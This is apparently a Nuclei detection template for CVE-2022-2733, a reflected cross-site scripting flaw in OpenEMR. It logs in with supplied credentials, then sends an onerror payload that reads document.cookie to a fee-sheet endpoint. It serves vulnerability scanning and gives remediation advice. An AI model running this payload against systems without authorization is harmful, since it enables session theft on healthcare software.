id: CVE-2022-2733

info:
  name: Openemr < 7.0.0.1 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
  remediation: |
    Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2733
    - https://github.com/openemr/openemr/commit/59458bc15ab0cb556c521de9d5187167d6f88945
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2733
    cwe-id: CWE-79
    epss-score: 0.00198
    epss-percentile: 0.57452
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query: title:"OpenEMR"
  tags: cve,cve2022,xss,openemr,authenticated,huntr

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/interface/login/login.php?site=default

        new_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=a onerror=alert(document.cookie)>'
          - 'pricelevel'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4b0a004830460221008ed0e6c9915845b753d1efff50cb339fca6da1bb81fd509483aa48a874d48f34022100ae3db1ef233d9bed505130df5bf3598ce57d2e21e4b094341aef93db2cffd0d7:922c64590222798bb761d5b6d8e72950